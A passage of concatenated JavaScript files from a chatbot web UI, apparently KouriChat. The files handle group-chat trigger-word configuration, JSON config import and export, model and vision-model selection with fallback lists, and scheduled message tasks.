mb-3"> <label class="form-label"> <i class="bi bi-person-badge me-1"></i>使用的人设 <span class="text-danger">*</span> </label> <select class="form-select" onchange="updateGroupChatConfigField('${config.id}', 'avatar', this.value)"> <option value="">请选择人设</option> ${getAvatarOptions(config.avatar)} </select> </div> </div> <!-- @触发开关 --> <div class="mb-3"> <div class="form-check form-switch"> <input class="form-check-input" type="checkbox" id="atTrigger_${config.id}" ${config.enableAtTrigger !== false ? 'checked' : ''} onchange="updateGroupChatConfigField('${config.id}', 'enableAtTrigger', this.checked)"> <label class="form-check-label" for="atTrigger_${config.id}"> <i class="bi bi-at me-1"></i>启用@机器人名字触发 </label> </div> <div class="form-text"> <i class="bi bi-info-circle me-1"></i> 开启后,@机器人名字也会触发回复(建议保持开启) </div> </div> <!-- 触发词配置 --> <div class="mb-3"> <label class="form-label"> <i class="bi bi-chat-left-quote me-1"></i>触发词设置 <span class="text-danger">*</span> </label> <div class="form-text mb-2"> <i class="bi bi-info-circle me-1"></i> 群聊中包含这些词语时会触发回复(如:角色名、小名、昵称等) </div> <div class="input-group mb-2"> <input type="text" class="form-control" id="triggerInput_${config.id}" placeholder="请输入触发词"> <button class="btn btn-primary" type="button" onclick="addTriggerWord('${config.id}')" title="添加触发词"> 添加 <i class="bi bi-plus-lg"></i> </button> </div> <div class="list-group" id="triggerList_${config.id}"> ${config.triggers.map((trigger, triggerIndex) => ` <div class="list-group-item d-flex justify-content-between align-items-center" data-trigger-index="${triggerIndex}"> ${trigger} <button type="button" class="btn btn-danger btn-sm" onclick="removeTriggerWordByIndex('${config.id}', ${triggerIndex})" title="删除触发词"> <i class="bi bi-x-lg"></i> </button> </div> `).join('')} </div> ${config.triggers.length === 0 ? ` <div class="text-muted small mt-2"> <i class="bi bi-exclamation-triangle me-1"></i> 请至少添加一个触发词 </div> ` : ''} </div> </div> `).join(''); // 更新添加按钮状态 updateAddGroupChatButton(); } // 获取人设选项(需要从现有的AVATAR_DIR选项中获取) function getAvatarOptions(selectedValue = '') { const avatarSelect = document.querySelector('select[name="AVATAR_DIR"]'); if (!avatarSelect) return '<option value="">暂无可用人设</option>'; let options = ''; for (let option of avatarSelect.options) { if (option.value) { const avatarName = option.value.split('/').pop(); const selected = option.value === selectedValue ? 'selected' : ''; options += `<option value="${option.value}" ${selected}>${avatarName}</option>`; } } return options || '<option value="">暂无可用人设</option>'; } // 获取用户列表选项(从LISTEN_LIST中获取) function getUserListOptions(selectedValue = '') { const userListElement = document.getElementById('selected_users_LISTEN_LIST'); if (!userListElement) return '<option value="">暂无可用用户</option>'; const userElements = userListElement.querySelectorAll('.list-group-item'); let options = ''; userElements.forEach(element => { const userName = element.textContent.trim().replace('×', '').trim(); if (userName) { const selected = userName === selectedValue ? 'selected' : ''; options += `<option value="${userName}" ${selected}>${userName}</option>`; } }); return options || '<option value="">暂无可用用户</option>'; } // 更新群聊配置字段 function updateGroupChatConfigField(configId, field, value) { const config = window.groupChatConfigs.find(c => c.id === configId); if (config) { config[field] = value; updateGroupChatConfigData(); } } // 更新所有群聊配置中的群聊名称选择框 function updateGroupChatConfigSelects() { // 重新渲染群聊配置列表以更新选择框选项 renderGroupChatConfigList(); } // 添加触发词 function addTriggerWord(configId) { const input = document.getElementById(`triggerInput_${configId}`); const triggerWord = input.value.trim(); if (!triggerWord) { alert('请输入触发词'); return; } const config = window.groupChatConfigs.find(c => c.id === configId); if (config) { if (!config.triggers.includes(triggerWord)) { config.triggers.push(triggerWord); updateGroupChatConfigData(); renderGroupChatConfigList(); input.value = ''; } else { alert('触发词已存在'); } } } // 删除触发词 function removeTriggerWord(configId, triggerWord) { const config = window.groupChatConfigs.find(c => c.id === configId); if (config) { config.triggers = config.triggers.filter(t => t !== triggerWord); updateGroupChatConfigData(); renderGroupChatConfigList(); } } // 通过索引删除触发词 function removeTriggerWordByIndex(configId, triggerIndex) { const config = window.groupChatConfigs.find(c => c.id === configId); if (config && config.triggers[triggerIndex] !== undefined) { config.triggers.splice(triggerIndex, 1); updateGroupChatConfigData(); renderGroupChatConfigList(); } } // 删除群聊配置 function removeGroupChatConfig(configId) { if (confirm('确定要删除此群聊配置吗?')) { window.groupChatConfigs = window.groupChatConfigs.filter(c => c.id !== configId); updateGroupChatConfigData(); renderGroupChatConfigList(); updateAddGroupChatButton(); } } // 更新隐藏字段的数据 function updateGroupChatConfigData() { const configInput = document.getElementById('GROUP_CHAT_CONFIG'); if (configInput) { configInput.value = JSON.stringify(window.groupChatConfigs); } } // 更新添加群聊配置按钮状态 function updateAddGroupChatButton() { const addButton = document.getElementById('addGroupChatBtn'); if (!addButton) return; if (window.groupChatConfigs.length >= 1) { addButton.disabled = true; addButton.classList.remove('btn-primary'); addButton.classList.add('btn-secondary'); addButton.innerHTML = '<i class="bi bi-check-lg me-1"></i>已达配置上限'; addButton.title = '当前版本仅支持一个群聊配置'; } else { addButton.disabled = false; addButton.classList.remove('btn-secondary'); addButton.classList.add('btn-primary'); addButton.innerHTML = '<i class="bi bi-plus-lg me-1"></i>添加群聊配置'; addButton.title = '添加新的群聊配置'; } } // 页面加载时初始化 document.addEventListener('DOMContentLoaded', function() { setTimeout(initGroupChatConfig, 500); });
2302_81798979/KouriChat
src/webui/static/js/group-chat-config.js
JavaScript
unknown
12,050
// 配置导入导出功能 console.log('配置导入导出模块加载'); // 导出配置 function exportConfig() { console.log('开始导出配置'); // 收集所有配置数据 const mainForm = document.getElementById('configForm'); const otherForm = document.getElementById('otherConfigForm'); const config = {}; // 获取所有表单数据 if (mainForm) { const formData = new FormData(mainForm); for (let [key, value] of formData.entries()) { if (typeof processFormValue === 'function') { processFormValue(config, key, value); } else { config[key] = value; } } } if (otherForm) { const otherFormData = new FormData(otherForm); for (let [key, value] of otherFormData.entries()) { if (typeof processFormValue === 'function') { processFormValue(config, key, value); } else { config[key] = value; } } } // 特别处理任务数据 const tasksInput = document.getElementById('TASKS'); if (tasksInput) { try { const tasksValue = tasksInput.value; if (tasksValue) { config['TASKS'] = JSON.parse(tasksValue); } } catch (e) { config['TASKS'] = []; } } // 特别处理群聊配置数据 const groupChatInput = document.getElementById('GROUP_CHAT_CONFIG'); if (groupChatInput) { try { const groupChatValue = groupChatInput.value; if (groupChatValue) { config['GROUP_CHAT_CONFIG'] = JSON.parse(groupChatValue); } else { config['GROUP_CHAT_CONFIG'] = []; } } catch (e) { console.error('解析群聊配置数据失败:', e); config['GROUP_CHAT_CONFIG'] = []; } } // 创建JSON文件并下载 const dataStr = JSON.stringify(config, null, 2); const dataBlob = new Blob([dataStr], {type: 'application/json'}); const now = new Date(); const dateStr = now.toISOString().slice(0, 10); const filename = `KouriChat_配置_${dateStr}.json`; const downloadLink = document.createElement('a'); downloadLink.href = URL.createObjectURL(dataBlob); downloadLink.download = filename; // 模拟点击下载 document.body.appendChild(downloadLink); downloadLink.click(); document.body.removeChild(downloadLink); // 显示成功通知 if (typeof showSaveNotification === 'function') { showSaveNotification('配置已成功导出', 'success'); } else { alert('配置已成功导出'); } } // 导入配置 function importConfig() { console.log('开始导入配置'); // 创建文件输入元素 const fileInput = document.createElement('input'); fileInput.type = 'file'; fileInput.accept = 'application/json'; fileInput.style.display = 'none'; fileInput.addEventListener('change', function(e) { if (e.target.files.length === 0) return; const file = e.target.files[0]; const reader = new FileReader(); reader.onload = function(event) { try { const config = JSON.parse(event.target.result); // 填充表单数据 for (const [key, value] of Object.entries(config)) { if (key === 'TASKS') { // 特殊处理任务数据 const tasksInput = document.getElementById('TASKS'); if (tasksInput) { tasksInput.value = JSON.stringify(value); } continue; } if (key === 'GROUP_CHAT_CONFIG') { // 特殊处理群聊配置数据 const groupChatInput = document.getElementById('GROUP_CHAT_CONFIG'); if (groupChatInput) { groupChatInput.value = JSON.stringify(value); // 更新群聊配置界面 if (typeof window.groupChatConfigs !== 'undefined') { window.groupChatConfigs = Array.isArray(value) ? value : []; if (typeof renderGroupChatConfigList === 'function') { renderGroupChatConfigList(); } } } continue; } // 处理普通输入字段 const input = document.querySelector(`[name="${key}"]`); if (input) { if (input.type === 'checkbox') { input.checked = Boolean(value); // 更新开关标签 if (typeof updateSwitchLabel === 'function') { updateSwitchLabel(input); } } else { input.value = value; } // 特别处理滑块 if (key === 'TEMPERATURE' || key === 'VISION_TEMPERATURE') { const slider = document.getElementById(`${key}_slider`); if (slider) { slider.value = value; // 使用统一的updateTemperature函数更新显示 if (typeof updateTemperature === 'function') { updateTemperature(key, value); } } } } // 特殊处理用户列表 if (key === 'LISTEN_LIST') { const userListElement = document.getElementById(`selected_users_${key}`); const targetElement = document.getElementById(key); if (userListElement && targetElement) { // 清空现有列表 userListElement.innerHTML = ''; let userList = []; if (Array.isArray(value)) { userList = value; } else if (typeof value === 'string') { userList = value.split(',').map(item => item.trim()).filter(item => item); } // 重新添加用户 userList.forEach(user => { if (user) { const userDiv = document.createElement('div'); userDiv.className = 'list-group-item d-flex justify-content-between align-items-center'; userDiv.innerHTML = ` ${user} <button type="button" class="btn btn-danger btn-sm" onclick="removeUser('${key}', '${user}')"> <i class="bi bi-x-lg"></i> </button> `; userListElement.appendChild(userDiv); } }); // 更新隐藏字段 targetElement.value = userList.join(','); } } } if (typeof showSaveNotification === 'function') { showSaveNotification('配置已成功导入', 'success'); } else { alert('配置已成功导入'); } } catch (error) { console.error('导入配置失败:', error); if (typeof showSaveNotification === 'function') { showSaveNotification('导入配置失败: ' + error.message, 'error'); } else { alert('导入配置失败: ' + error.message); } } }; reader.readAsText(file); }); document.body.appendChild(fileInput); fileInput.click(); document.body.removeChild(fileInput); } // 暴露全局函数 window.exportConfig = exportConfig; window.importConfig = importConfig; console.log('配置导入导出模块加载完成');
2302_81798979/KouriChat
src/webui/static/js/import-export.js
JavaScript
unknown
8,834
// 模型配置管理器 console.log('模型配置管理器开始加载'); // 全局变量 let globalModelConfigs = null; const MODELS_CONFIG_PATH = '/static/models.json'; // 模型配置管理器 console.log('模型配置管理器开始加载'); // 获取默认模型配置 function getDefaultModelConfigs() { return { version: "1.4.1", models: { "kourichat-global": [ {id: "gemini-2.5-flash", name: "gemini-2.5-flash"}, {id: "gemini-2.5-pro", name: "gemini-2.5-pro"}, {id: "kourichat-v3", name: "kourichat-v3"}, {id: "gpt-4o", name: "gpt-4o"}, {id: "grok-3", name: "grok-3"} ], "siliconflow": [ {id: "deepseek-ai/DeepSeek-V3", name: "deepseek-ai/DeepSeek-V3"}, {id: "deepseek-ai/DeepSeek-R1", name: "deepseek-ai/DeepSeek-R1"} ], "deepseek": [ {id: "deepseek-chat", name: "deepseek-chat"}, {id: "deepseek-reasoner", name: "deepseek-reasoner"} ] }, vision_api_providers: [ { id: "kourichat-global", name: "KouriChat API (推荐)", url: "https://api.kourichat.com/v1", register_url: "https://api.kourichat.com/register" }, { id: "moonshot", name: "Moonshot AI", url: "https://api.moonshot.cn/v1", register_url: "https://platform.moonshot.cn/console/api-keys" }, { id: "openai", name: "OpenAI", url: "https://api.openai.com/v1", register_url: "https://platform.openai.com/api-keys" } ], vision_models: { "kourichat-global": [ {id: "kourichat-vision", name: "KouriChat Vision (推荐)"}, {id: "gemini-2.5-pro", name: "Gemini 2.5 Pro"}, {id: "gpt-4o", name: "GPT-4o"} ], "moonshot": [ {id: "moonshot-v1-8k-vision-preview", name: "Moonshot V1 8K Vision (推荐)"}, {id: "moonshot-v1-32k-vision", name: "Moonshot V1 32K Vision"} ], "openai": [ {id: "gpt-4o", name: "GPT-4o (推荐)"}, {id: "gpt-4-vision-preview", name: "GPT-4 Vision"} ] } }; } // 从本地获取模型配置 async function fetchModelConfigs() { if (globalModelConfigs) { console.log('使用缓存的模型配置'); return globalModelConfigs; } try { console.log('正在从本地获取模型配置...', MODELS_CONFIG_PATH); const response = await fetch(MODELS_CONFIG_PATH, { cache: 'no-cache' }); if (!response.ok) { throw new Error(`HTTP ${response.status}: ${response.statusText}`); } const data = await response.json(); // 验证配置结构 if (!data.models && !data.vision_models) { throw new Error('模型配置结构不正确,缺少必要字段'); } globalModelConfigs = data; console.log('✅ 本地模型配置获取成功,包含', Object.keys(data).join(', ')); return globalModelConfigs; } catch (error) { console.warn('❌ 本地配置获取失败,使用默认配置:', error); // 使用默认配置作为回退 globalModelConfigs = getDefaultModelConfigs(); console.log('🔄 已设置默认配置作为回退'); return globalModelConfigs; } } // 初始化模型选择框 async function initializeModelSelect(passedProviderId) { console.log("调用initializeModelSelect,提供商:", passedProviderId); const modelSelect = document.getElementById('model_select'); const modelInput = document.getElementById('MODEL'); const customModelInput = document.getElementById('customModelInput'); // 检查必要元素 if (!modelSelect) { console.error("初始化失败:模型选择器未找到"); return; } if (!modelInput) { console.error("初始化失败:MODEL输入框未找到"); return; } // 获取保存的模型值 const savedModel = modelInput.value || ''; // 获取当前选择的API提供商 const apiSelect = document.getElementById('api_provider_select'); const providerId = passedProviderId || (apiSelect ? apiSelect.value : 'kourichat-global'); console.log("初始化模型选择器,当前提供商:", providerId, "保存的模型:", savedModel); // 清空选择框 modelSelect.innerHTML = ''; try { // 获取模型配置 const configs = await fetchModelConfigs(); // 根据提供商添加相应的模型选项 if (configs && configs.models && configs.models[providerId]) { console.log(`为提供商 ${providerId} 加载 ${configs.models[providerId].length} 个模型`); configs.models[providerId].forEach(model => { const option = document.createElement('option'); option.value = model.id; option.textContent = model.name || model.id; modelSelect.appendChild(option); }); } else { console.warn(`提供商 ${providerId} 没有可用的模型配置`); throw new Error(`没有找到提供商 ${providerId} 的模型配置`); } } catch (error) { console.error("获取模型配置失败:", error); // 添加基本的回退选项 const fallbackOptions = [ {id: 'gpt-4o', name: 'GPT-4o'}, {id: 'claude-3-5-sonnet', name: 'Claude 3.5 Sonnet'}, {id: 'gemini-2.5-pro', name: 'Gemini 2.5 Pro'} ]; console.log('使用回退选项:', fallbackOptions.length, '个模型'); fallbackOptions.forEach(model => { const option = document.createElement('option'); option.value = model.id; option.textContent = model.name; modelSelect.appendChild(option); }); } // 确保自定义选项存在 if (!modelSelect.querySelector('option[value="custom"]')) { modelSelect.innerHTML += '<option value="custom">自定义模型</option>'; } // 处理不同情况 if (providerId === 'ollama' || providerId === 'custom') { // 1. 自定义或Ollama提供商 console.log("使用自定义/Ollama提供商"); modelSelect.value = 'custom'; // 显示自定义输入框 if (customModelInput) { customModelInput.style.display = 'block'; const inputField = customModelInput.querySelector('input'); // 如果有保存的值,填充输入框 if (inputField && savedModel) { inputField.value = savedModel; } else if (inputField) { inputField.value = ''; } } } else if (savedModel) { // 2. 有保存的模型值 // 检查保存的值是否在选项列表中 const modelExists = Array.from(modelSelect.options).some(opt => opt.value === savedModel); if (modelExists) { // 如果在列表中,直接选择 console.log("选择已保存的模型:", savedModel); modelSelect.value = savedModel; // 确保自定义输入框隐藏 if (customModelInput) { customModelInput.style.display = 'none'; } } else { // 如果不在列表中,视为自定义模型 console.log("使用自定义模型:", savedModel); modelSelect.value = 'custom'; // 显示并填充自定义输入框 if (customModelInput) { customModelInput.style.display = 'block'; const inputField = customModelInput.querySelector('input'); if (inputField) { inputField.value = savedModel; } } } } else { // 3. 没有保存的模型值,使用默认值 console.log("无保存的模型值,使用默认值"); if (modelSelect.options.length > 0) { modelSelect.selectedIndex = 0; modelInput.value = modelSelect.value; // 隐藏自定义输入框 if (customModelInput) { customModelInput.style.display = 'none'; } } } } // 更新图像识别模型选择框 async function updateVisionModelSelect(providerId) { console.log('更新图像识别模型选择器,提供商:', providerId); const modelSelect = document.getElementById('vision_model_select'); const modelInput = document.getElementById('VISION_MODEL'); const customModelInput = document.getElementById('customVisionModelInput'); if (!modelSelect || !modelInput) { console.error('图像识别模型选择器或输入框未找到'); return; } // 保存当前模型值 const currentModelValue = modelInput.value; console.log('当前图像识别模型值:', currentModelValue); // 重置选择框 modelSelect.innerHTML = ''; if (providerId === 'custom') { modelSelect.innerHTML += '<option value="custom">自定义模型</option>'; modelSelect.value = 'custom'; // 显示自定义输入框并设置当前值 if (customModelInput) { customModelInput.style.display = 'block'; const inputField = customModelInput.querySelector('input'); if (inputField) { inputField.value = currentModelValue || ''; } } return; } if (!providerId) { console.warn('图像识别提供商ID为空'); return; } try { // 获取配置 const configs = await fetchModelConfigs(); let models = []; // 获取识图模型配置 if (configs && configs.vision_models && configs.vision_models[providerId]) { models = configs.vision_models[providerId]; console.log(`为识图提供商 ${providerId} 加载 ${models.length} 个模型`); } else { console.warn(`识图提供商 ${providerId} 没有可用的模型配置`); } // 添加模型选项 if (models.length) { models.forEach(model => { const option = document.createElement('option'); option.value = model.id; option.textContent = model.name || model.id; modelSelect.appendChild(option); }); } else { throw new Error(`没有找到识图提供商 ${providerId} 的模型配置`); } // 添加自定义模型选项 const customOption = document.createElement('option'); customOption.value = 'custom'; customOption.textContent = '自定义模型'; modelSelect.appendChild(customOption); } catch (error) { console.error('获取识图模型配置失败:', error); // 添加基本的识图模型回退选项 const fallbackVisionOptions = [ {id: 'gpt-4o', name: 'GPT-4o Vision'}, {id: 'claude-3-5-sonnet-20241022', name: 'Claude 3.5 Sonnet Vision'}, {id: 'gemini-2.5-pro', name: 'Gemini 2.5 Pro Vision'}, {id: 'kourichat-vision', name: 'KouriChat Vision'} ]; console.log('使用识图模型回退选项:', fallbackVisionOptions.length, '个模型'); fallbackVisionOptions.forEach(model => { const option = document.createElement('option'); option.value = model.id; option.textContent = model.name; modelSelect.appendChild(option); }); // 添加自定义选项 const customOption = document.createElement('option'); customOption.value = 'custom'; customOption.textContent = '自定义模型'; modelSelect.appendChild(customOption); } // 恢复选择状态 const modelExists = Array.from(modelSelect.options).some(opt => opt.value === currentModelValue); if (modelExists && currentModelValue !== 'custom') { // 如果当前值是预设模型之一 console.log('选择预设图像识别模型:', currentModelValue); modelSelect.value = currentModelValue; if (customModelInput) customModelInput.style.display = 'none'; } else if (currentModelValue) { // 如果当前值不在预设列表中且不为空,视为自定义模型 console.log('使用自定义图像识别模型:', currentModelValue); modelSelect.value = 'custom'; // 显示自定义输入框并设置值 if (customModelInput) { customModelInput.style.display = 'block'; const inputField = customModelInput.querySelector('input'); if (inputField) { inputField.value = currentModelValue; } } // 确保隐藏输入框的值是自定义的值 modelInput.value = currentModelValue; } else if (modelSelect.options.length > 1) { // 如果没有当前模型值,选择第一个有效选项(非自定义) console.log('选择默认图像识别模型'); modelSelect.selectedIndex = 0; // 更新隐藏的值 const selectedModel = modelSelect.value; if (selectedModel !== 'custom') { modelInput.value = selectedModel; } // 确保自定义输入框隐藏 if (customModelInput) customModelInput.style.display = 'none'; } console.log('图像识别模型选择器更新完成,当前选择:', modelSelect.value); } // 暴露全局函数 window.getModelConfigs = fetchModelConfigs; window.initializeModelSelect = initializeModelSelect; window.updateVisionModelSelect = updateVisionModelSelect; // 页面加载时预先获取配置 document.addEventListener('DOMContentLoaded', function() { console.log('模型配置管理器初始化'); // 预先获取配置,但不阻塞页面加载 fetchModelConfigs().then(() => { console.log('模型配置预加载完成'); }).catch(error => { console.warn('模型配置预加载失败:', error); }); }); console.log('模型配置管理器加载完成');
2302_81798979/KouriChat
src/webui/static/js/model-config.js
JavaScript
unknown
14,783
/** * 定时任务管理功能 */ // 全局变量,存储当前任务列表 let scheduledTasks = []; /** * 初始化定时任务功能 */ function initScheduleTasks() { // 从隐藏字段加载任务数据 loadTasksFromInput(); // 更新任务列表UI updateTaskListUI(); // 更新发送对象下拉框 updateTaskChatIdOptions(); // 添加事件监听器 setupTaskEventListeners(); } /** * 从隐藏输入字段加载任务数据 */ function loadTasksFromInput() { const tasksInput = document.getElementById("TASKS"); if (tasksInput && tasksInput.value) { try { scheduledTasks = JSON.parse(tasksInput.value); } catch (e) { console.error("解析任务数据失败:", e); scheduledTasks = []; } } else { scheduledTasks = []; } } /** * 更新任务列表UI */ function updateTaskListUI() { const container = document.getElementById("taskListContainer"); if (!container) return; if (scheduledTasks.length === 0) { // 显示无任务提示 container.innerHTML = ` <div class="text-center text-muted p-4"> <i class="bi bi-inbox fs-2"></i> <p class="mt-2">暂无定时任务</p> </div> `; return; } // 清空现有内容 container.innerHTML = ""; // 添加每个任务 scheduledTasks.forEach((task) => { const taskItem = document.createElement("div"); taskItem.className = "list-group-item"; let scheduleInfo = ""; if (task.schedule_type === "cron") { scheduleInfo = formatCronExpression(task.schedule_time); } else { scheduleInfo = formatInterval(task.schedule_time || task.interval); } taskItem.innerHTML = ` <div class="d-flex justify-content-between align-items-center"> <div class="me-auto"> <div class="d-flex align-items-center mb-1"> <span class="badge bg-primary me-2">${ task.task_id }</span> <span class="badge ${ task.is_active ? "bg-success" : "bg-secondary" } me-2"> ${task.is_active ? "运行中" : "已暂停"} </span> </div> <div class="mb-1"> <i class="bi bi-person me-1"></i>发送给:${task.chat_id} </div> <div class="mb-1"> <i class="bi bi-clock me-1"></i>执行时间:${scheduleInfo} </div> <div class="text-muted small"> <i class="bi bi-chat-text me-1"></i>${task.content} </div> </div> <div class="btn-group"> <button class="btn btn-sm btn-outline-primary" onclick="editTask('${ task.task_id }')" title="编辑任务"> <i class="bi bi-pencil"></i> </button> <button class="btn btn-sm btn-outline-${ task.is_active ? "warning" : "success" }" onclick="toggleTaskStatus('${task.task_id}')" title="${task.is_active ? "暂停任务" : "启动任务"}"> <i class="bi bi-${ task.is_active ? "pause" : "play" }-fill"></i> </button> <button class="btn btn-sm btn-outline-danger" onclick="showDeleteTaskModal('${ task.task_id }')" title="删除任务"> <i class="bi bi-trash"></i> </button> </div> </div> `; container.appendChild(taskItem); }); } /** * 更新发送对象下拉框 */ function updateTaskChatIdOptions() { const chatSelect = document.getElementById("taskChatId"); if (!chatSelect) return; // 保存当前选中的值 const currentValue = chatSelect.value; // 清空现有选项 chatSelect.innerHTML = '<option value="">请选择发送对象</option>'; // 从监听列表获取用户 const userElements = document.querySelectorAll( "#selected_users_LISTEN_LIST .list-group-item" ); userElements.forEach((element) => { const userName = element.textContent.trim().replace("×", "").trim(); if (userName) { chatSelect.innerHTML += `<option value="${userName}">${userName}</option>`; } }); // 恢复之前选中的值 if (currentValue) { chatSelect.value = currentValue; } } /** * 设置任务相关的事件监听器 */ function setupTaskEventListeners() { // 添加任务模态框显示事件 const addTaskModal = document.getElementById("addTaskModal"); if (addTaskModal) { addTaskModal.addEventListener("show.bs.modal", function () { // 重置表单 document.getElementById("taskForm").reset(); // 更新发送对象下拉框 updateTaskChatIdOptions(); // 默认显示cron输入框 toggleScheduleInput(); // 重置任务ID只读状态 document.getElementById("taskId").readOnly = false; // 更新模态框标题 document.getElementById("addTaskModalLabel").innerHTML = '<i class="bi bi-plus-circle me-2"></i>添加定时任务'; // 更新保存按钮文本 const saveButton = document.querySelector( "#addTaskModal .modal-footer .btn-primary" ); saveButton.textContent = "保存"; }); } // 添加调度类型切换事件 const scheduleType = document.getElementById("scheduleType"); if (scheduleType) { scheduleType.addEventListener("change", toggleScheduleInput); } // 添加Cron表达式相关输入事件 const cronInputs = [ "cronHour", "cronMinute", "cronWeekday1", "cronWeekday2", "cronWeekday3", "cronWeekday4", "cronWeekday5", "cronWeekday6", "cronWeekday7", ]; cronInputs.forEach((id) => { const element = document.getElementById(id); if (element) { element.addEventListener("change", updateSchedulePreview); } }); // 添加间隔时间相关输入事件 const intervalInputs = ["intervalValue", "intervalUnit"]; intervalInputs.forEach((id) => { const element = document.getElementById(id); if (element) { element.addEventListener("change", updateSchedulePreview); element.addEventListener("input", updateSchedulePreview); } }); // 添加删除任务确认按钮事件 const confirmDeleteBtn = document.getElementById("confirmDeleteTaskBtn"); if (confirmDeleteBtn) { confirmDeleteBtn.addEventListener("click", function () { const taskId = document.getElementById("deleteTaskId").textContent; deleteTask(taskId); // 隐藏模态框 const modal = bootstrap.Modal.getInstance( document.getElementById("deleteTaskModal") ); modal.hide(); }); } } /** * 切换调度类型输入框 */ function toggleScheduleInput() { const scheduleType = document.getElementById("scheduleType").value; const cronInput = document.getElementById("cronInputGroup"); const intervalInput = document.getElementById("intervalInputGroup"); if (scheduleType === "cron") { cronInput.style.display = "block"; intervalInput.style.display = "none"; } else { cronInput.style.display = "none"; intervalInput.style.display = "block"; } updateSchedulePreview(); } /** * 更新调度时间预览 */ function updateSchedulePreview() { const scheduleType = document.getElementById("scheduleType").value; const preview = document.getElementById("schedulePreview"); if (scheduleType === "cron") { const hour = document.getElementById("cronHour").value; const minute = document.getElementById("cronMinute").value; const weekdays = []; const displayWeekdays = []; // 获取选中的星期 for (let i = 1; i <= 7; i++) { if (document.getElementById(`cronWeekday${i}`).checked) { // cron表达式:1=周一, 2=周二, ..., 7=周日, 0=周日 // 界面显示:1=一, 2=二, ..., 7=日 weekdays.push(i === 7 ? 0 : i); // cron格式:周日为0,其他为1-6 displayWeekdays.push(["一", "二", "三", "四", "五", "六", "日"][i - 1]); // 显示格式:直接对应 } } if (weekdays.length === 0) { preview.textContent = "请选择执行周期"; return; } let previewText = `每天 ${ hour === "*" ? "每小时" : hour + "点" } ${minute}分`; if (weekdays.length < 7) { previewText = `每周 ${displayWeekdays.join("、")} ${ hour === "*" ? "每小时" : hour + "点" } ${minute}分`; } preview.textContent = previewText; // 更新cron表达式 - 修改为5字段格式 const cronExp = `${minute} ${hour} * * ${weekdays.join(",")}`; document.getElementById("cronExpression").value = cronExp; } else { const value = document.getElementById("intervalValue").value; const unit = document.getElementById("intervalUnit").value; if (!value) { preview.textContent = "请设置间隔时间"; return; } let unitText = ""; switch (unit) { case "60": unitText = "分钟"; break; case "3600": unitText = "小时"; break; case "86400": unitText = "天"; break; } preview.textContent = `每 ${value} ${unitText}`; } } /** * 设置时间间隔 * @param {number} value - 间隔值 * @param {string} unit - 间隔单位 */ function setInterval(value, unit) { document.getElementById("intervalValue").value = value; document.getElementById("intervalUnit").value = unit; updateSchedulePreview(); } /** * 保存任务 */ function saveTask() { // 获取表单数据 const taskId = document.getElementById("taskId").value.trim(); const chatId = document.getElementById("taskChatId").value; const content = document.getElementById("taskContent").value.trim(); const scheduleType = document.getElementById("scheduleType").value; // 验证必填字段 if (!taskId || !chatId || !content) { showToast("请填写所有必填字段", "error"); return; } const task = { task_id: taskId, chat_id: chatId, content: content, schedule_type: scheduleType, is_active: true, }; // 根据调度类型设置相应的值 if (scheduleType === "cron") { const cronExp = document.getElementById("cronExpression").value; if (!cronExp) { showToast("请设置执行时间", "error"); return; } task.schedule_time = cronExp; } else { const value = document.getElementById("intervalValue").value; const unit = document.getElementById("intervalUnit").value; if (!value) { showToast("请设置间隔时间", "error"); return; } // 计算总秒数 const totalSeconds = parseInt(value) * parseInt(unit); task.schedule_time = totalSeconds.toString(); task.interval = totalSeconds.toString(); } // 检查任务ID是否已存在 const existingIndex = scheduledTasks.findIndex((t) => t.task_id === taskId); if (existingIndex >= 0) { // 更新现有任务 scheduledTasks[existingIndex] = task; } else { // 添加新任务 scheduledTasks.push(task); } // 更新隐藏输入框的值 document.getElementById("TASKS").value = JSON.stringify(scheduledTasks); // 更新任务列表UI updateTaskListUI(); // 关闭模态框 const modal = bootstrap.Modal.getInstance( document.getElementById("addTaskModal") ); modal.hide(); // 显示成功提示 showToast('任务已保存,请点击底部的"保存所有设置"按钮保存更改', "success"); } /** * 编辑任务 * @param {string} taskId - 任务ID */ function editTask(taskId) { // 查找指定任务 const task = scheduledTasks.find((t) => t.task_id === taskId); if (!task) { showToast("未找到指定任务", "error"); return; } // 填充表单 document.getElementById("taskId").value = task.task_id; document.getElementById("taskId").readOnly = true; // 编辑模式下不允许修改ID document.getElementById("taskChatId").value = task.chat_id; document.getElementById("taskContent").value = task.content; document.getElementById("scheduleType").value = task.schedule_type; // 根据任务类型设置调度时间 toggleScheduleInput(); // 先切换显示正确的输入框 if (task.schedule_type === "cron") { // 解析cron表达式 const cronParts = task.schedule_time.split(" "); if (cronParts.length >= 5) { document.getElementById("cronMinute").value = cronParts[0]; document.getElementById("cronHour").value = cronParts[1]; // 设置星期几 const weekdays = cronParts[4].split(","); for (let i = 1; i <= 7; i++) { const dayValue = i === 7 ? "0" : i.toString(); document.getElementById(`cronWeekday${i}`).checked = weekdays.includes(dayValue); } } document.getElementById("cronExpression").value = task.schedule_time; } else { // 解析间隔时间 const intervalSeconds = parseInt(task.interval || task.schedule_time); if (intervalSeconds % 86400 === 0) { // 天 document.getElementById("intervalValue").value = intervalSeconds / 86400; document.getElementById("intervalUnit").value = "86400"; } else if (intervalSeconds % 3600 === 0) { // 小时 document.getElementById("intervalValue").value = intervalSeconds / 3600; document.getElementById("intervalUnit").value = "3600"; } else { // 分钟 document.getElementById("intervalValue").value = intervalSeconds / 60; document.getElementById("intervalUnit").value = "60"; } } // 更新预览 updateSchedulePreview(); // 显示模态框 const modal = new bootstrap.Modal(document.getElementById("addTaskModal")); modal.show(); // 更新模态框标题 document.getElementById("addTaskModalLabel").innerHTML = '<i class="bi bi-pencil-square me-2"></i>编辑定时任务'; // 更改保存按钮文本 const saveButton = document.querySelector( "#addTaskModal .modal-footer .btn-primary" ); saveButton.textContent = "保存修改"; } /** * 显示删除任务确认模态框 * @param {string} taskId - 任务ID */ function showDeleteTaskModal(taskId) { document.getElementById("deleteTaskId").textContent = taskId; const modal = new bootstrap.Modal(document.getElementById("deleteTaskModal")); modal.show(); } /** * 删除任务 * @param {string} taskId - 任务ID */ function deleteTask(taskId) { // 从任务列表中删除 scheduledTasks = scheduledTasks.filter((task) => task.task_id !== taskId); // 更新隐藏输入框的值 document.getElementById("TASKS").value = JSON.stringify(scheduledTasks); // 更新任务列表UI updateTaskListUI(); // 显示成功提示 showToast('任务已删除,请点击底部的"保存所有设置"按钮保存更改', "success"); } /** * 切换任务状态(启用/禁用) * @param {string} taskId - 任务ID */ function toggleTaskStatus(taskId) { // 查找指定任务 const taskIndex = scheduledTasks.findIndex((task) => task.task_id === taskId); if (taskIndex === -1) { 